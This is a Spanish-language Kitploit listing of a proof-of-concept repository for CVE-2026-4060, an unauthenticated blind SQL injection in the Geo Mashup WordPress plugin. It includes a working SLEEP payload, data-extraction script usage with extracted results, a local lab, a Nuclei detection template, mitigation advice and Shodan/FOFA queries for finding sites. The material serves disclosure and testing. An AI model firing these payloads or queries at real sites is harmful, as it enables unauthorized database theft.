Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4060-PoC — Prueba de concepto para CVE-2026-4060: inyección SQL ciega basada en tiempo no autenticada en el plugin Geo Mashup de WordPress a través de la cláusula ORDER BY. Incluye script de explotación, entorno de laboratorio y plantilla de detección de Nuclei. | Kitploit
Herramientas/GitHubGitHub/ydking0911/cve-2026-4060-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Prueba de concepto para CVE-2026-4060: inyección SQL ciega basada en tiempo no autenticada en el plugin Geo Mashup de WordPress a través de la cláusula ORDER BY. Incluye script de explotación, entorno de laboratorio y plantilla de detección de Nuclei.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 PoC de Inyección SQL no autenticada

Severity CVSS Type Status

Atacantes no autenticados pueden inyectar SQL arbitrario en la cláusula ORDER BY a través del parámetro sort del endpoint render-map de Geo Mashup, permitiendo la extracción ciega basada en tiempo de información sensible de la base de datos.


Tabla de Contenidos

  • Resumen de la vulnerabilidad
  • Entorno de prueba
  • Cómo ejecutar
  • Resultados de la prueba
  • Mitigación
  • Detección
  • Cronología
  • Referencias

  • Resumen de la vulnerabilidad

    CampoDetalle
    CVECVE-2026-4060
    PluginGeo Mashup por cyberhobo
    Afectado≤ 1.13.18
    Corregido en1.13.19
    CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Neutralización incorrecta de Elementos Especiales en SQL
    Autenticación requeridaNinguna (No autenticada)

    Detalle técnico

    El parámetro sort aceptado por el endpoint render-map se pasa directamente a una llamada $wpdb->get_results() sin sanitización:

    root@kitploit:~
    // render-map.php (simplified)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Debido a que $sort se interpola tal cual, un atacante puede inyectar una subconsulta en la cláusula ORDER BY. WordPress wpdb escapa las comillas simples, por lo que el PoC usa ORD(SUBSTRING(...)) con comparaciones numéricas para eludir esta restricción y realizar una extracción ciega basada en tiempo.

    Endpoint vulnerable:

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Entorno de prueba

    ComponenteVersión
    SOmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (vulnerable)
    Python3.x (para poc.py)
    Nucleiv3.8.0

    Arquitectura del laboratorio

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Host (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 activo en el administrador de WordPress:

    Geo Mashup 1.13.18 activo en el administrador de WordPress


    Cómo ejecutar

    1. Iniciar el laboratorio

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    setup.sh hará:

    • Levantar contenedores de WordPress 6.8.2 + MariaDB 11.4
    • Instalar y activar Geo Mashup 1.13.18 (versión vulnerable) mediante WP-CLI
    • Crear una entrada geoetiquetada para que el endpoint del mapa devuelva una respuesta válida

    Una vez completado:

    • Sitio: http://localhost:8080
    • Admin: http://localhost:8080/wp-admin (usuario: admin / contraseña: admin)

    2. Confirmar la vulnerabilidad (inyección SLEEP)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    Un retardo de respuesta de ~8 segundos confirma la inyección SQL en ORDER BY.

    3. Extraer datos (PoC)

    root@kitploit:~
    # Predeterminado — solo imprime los resultados extraídos
    python3 poc.py --url http://localhost:8080
    
    # Verbose — muestra cada payload, tiempo de respuesta y carácter extraído
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Confirmar solo SQLi, omitir extracción de datos
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Ejecutar la plantilla de detección de Nuclei

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Desmontar el laboratorio

    root@kitploit:~
    docker compose down -v
    

    Resultados de la prueba

    Verdadero Positivo (TP) — Objetivo vulnerable

    TP-1: Inyección ORDER BY SLEEP(8) confirmada

    Inyectar una subconsulta SLEEP(8) a través del parámetro sort produce un retardo de respuesta de aproximadamente 8 segundos.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) vía ORDER BY — respuesta de 8.05s

    TP-2: Extracción de datos (modo verbose)

    El PoC extrae datos carácter por carácter usando comparaciones ORD(SUBSTRING(...)): enviar payload → medir tiempo de respuesta → confirmar carácter cuando SLEEP se activa.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py verbose — payload, tiempo, caracteres extraídos

    Datos extraídos:

    ConsultaResultado
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3: Detección con plantilla de Nuclei

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    Falso Positivo (FP) — Objetivo no vulnerable

    La plantilla de Nuclei utiliza un flujo de dos pasos para prevenir falsos positivos.

    FP-1: Geo Mashup no instalado

    Si readme.txt devuelve 404 en el Paso 1, el escaneo sale inmediatamente sin enviar el payload SQL.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2: Versión parcheada (≥ 1.13.19)

    Verificación de versión del plugin mediante readme.txt:

    readme.txt mostrando Stable tag: 1.13.18

    Si compare_versions(version, '<= 1.13.18') falla, el Paso 2 se omite por completo.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Mitigación

    AcciónDetalle
    ActualizarActualizar Geo Mashup a 1.13.19 o posterior
    TemporalDesactivar el plugin hasta que se aplique una actualización
    WAFBloquear patrones de inyección de subconsultas en cláusulas ORDER BY

    Commit del parche: plugins.trac.wordpress.org/changeset/3503627


    Detección

    Plantilla de Nuclei: nuclei/CVE-2026-4060.yaml

    Flujo de detección:

    root@kitploit:~
    Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → confirm plugin exists + version <= 1.13.18
    
    Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → status 200 + GeoMashup.createMap + duration >= 8s
    

    Shodan / FOFA:

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Cronología

    FechaEvento
    2026-04Vulnerabilidad descubierta
    2026-04Reportada al autor del plugin
    2026-05Parche Geo Mashup 1.13.19 liberado
    2026-05-14CVE asignado y divulgado públicamente

    Referencias

    • NVD — CVE-2026-4060
    • Aviso de Wordfence
    • Cambios del plugin (corrección)
    • CWE-89

    Descargo de responsabilidad

    Este repositorio es solo para fines educativos y de pruebas de seguridad autorizadas.
    No lo use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para probar.
    El autor no es responsable de ningún uso indebido de este material.

    Descargar herramienta